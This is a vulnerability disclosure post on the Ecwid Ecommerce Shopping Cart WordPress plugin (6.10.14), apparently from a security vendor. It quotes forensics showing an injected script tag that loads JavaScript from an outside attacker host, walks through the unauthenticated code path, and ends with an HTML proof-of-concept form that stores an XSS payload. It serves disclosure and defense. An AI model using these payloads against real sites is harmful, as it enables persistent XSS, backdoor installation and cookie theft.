Vulnerability Details: Multiple in Ecwid Ecommerce Shopping Cart
Sometimes our new firewall plugin for WordPress works a little too well. Earlier today we had someone try to contact us about a vulnerability in the WordPress plugin Ecwid Ecommerce Shopping Cart, but the firewall blocked their attempt to use our contact form from being processed due to including JavaScript code that a hacker had used on a website. The logging of the firewall did log the message they sent:
Thought you might be interested in what appears to be a previously unknown vulnerability in the current (6.10.14) version of the “ecwid-shopping-cart” plugin. I just now contacted the author of it with this info, but here you go: —————— I work for a hosting company that had a site hacked by what appears to be a vulnerability in your ecwid-shopping-cart plugin. The forensics of the exploit was that this POST request: 109.70.100.33 – – [07/Oct/2021:04:57:48 -0700] “POST /wp-admin/admin-post.php HTTP/1.1” 301 637 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36″ Caused this MySQL change: UPDATE `wp_options` SET `option_value` = ‘\\\”></script> <script defer src=https://minxca.site/4.js?c=13359151></script><script’ WHERE `option_name` = ‘ecwid_store_id’ After that option is set, the next login from the admin runs the code in that malicious script, which installs new malicious backdoor plugins. The bug in ecwid-shopping-cart that allows this option to be updated appears to be this code path in “ecwid-shopping-cart.php”: ============================================================ if ( is_admin() ) { … add_action( ‘admin_init’, ‘ecwid_settings_api_init’ ); ———————————————————— function ecwid_settings_api_init() { … if ( isset( $_POST[‘ecwid_store_id’] ) ) { ecwid_update_store_id( $_POST[‘ecwid_store_id’] ); ———————————————————— function ecwid_update_store_id( $new_store_id ) { … update_option( ‘ecwid_store_id’, $new_store_id ); ============================================================ So the only thing preventing anyone from POSTing a malicious value for ecwid_store_id is the “is_admin()” check, but see <https://dev.to/lucagrandicelli/why-isadmin-is-totally-unsafe-for-your-wordpress-development-1le1>, “is_admin() is not intended to be used for security checks”.
We checked over things and confirmed what they mentioned.
The function ecwid_settings_api_init() is run if is_admin() is true and admin_init is occurring:
47 48 49 50 51 | if ( is_admin() ) { add_action( 'init', 'ecwid_apply_theme', 0 ); add_action( 'init', 'ecwid_maybe_remove_emoji' ); add_action( 'admin_init', 'ecwid_settings_api_init' ); |
Both of those will occur if /wp-admin/admin-post.php is accessed when not logged in.
That function makes various settings changes, including changing the WordPress option ecwid_store_id:
2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 | function ecwid_settings_api_init() { if ( isset( $_POST['settings_section'] ) ) { switch ( $_POST['settings_section'] ) { case 'general': register_setting( 'ecwid_options_page', 'ecwid_store_id', 'ecwid_abs_intval' ); if ( isset( $_POST['ecwid_store_id'] ) && intval( $_POST['ecwid_store_id'] ) == 0 ) { Ecwid_Message_Manager::reset_hidden_messages(); } break; case 'advanced': register_setting( 'ecwid_options_page', 'ecwid_default_category_id', 'ecwid_abs_intval' ); register_setting( 'ecwid_options_page', 'ecwid_sso_secret_key' ); register_setting( 'ecwid_options_page', 'ecwid_is_sso_enabled' ); break; } if ($_POST['settings_section'] == 'advanced' && isset($_POST[Ecwid_Products::OPTION_ENABLED]) && !Ecwid_Products::is_enabled()) { Ecwid_Products::enable(); } else if ($_POST['settings_section'] == 'advanced' && !isset($_POST[Ecwid_Products::OPTION_ENABLED]) && Ecwid_Products::is_enabled()) { Ecwid_Products::disable(); } if ($_POST['settings_section'] == 'advanced' && !@$_POST['ecwid_is_sso_enabled']) { update_option('ecwid_sso_secret_key', ''); } } if ( isset( $_POST['ecwid_store_id'] ) ) { ecwid_update_store_id( $_POST['ecwid_store_id'] ); update_option('ecwid_last_oauth_fail_time', 0); update_option('ecwid_connected_via_legacy_page_time', time()); } } |
That code allows both making settings changes, as well, as the hacker had done, persistent cross-site scripting (XSS)
Proof of Concept of Cross-Site Scripting (XSS)
The following proof of concept will cause an alert box with any available cookies to be shown on the plugin’s store page (and possibly other places).
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="settings_section" value="poc" /> <input type="hidden" name="ecwid_store_id" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body>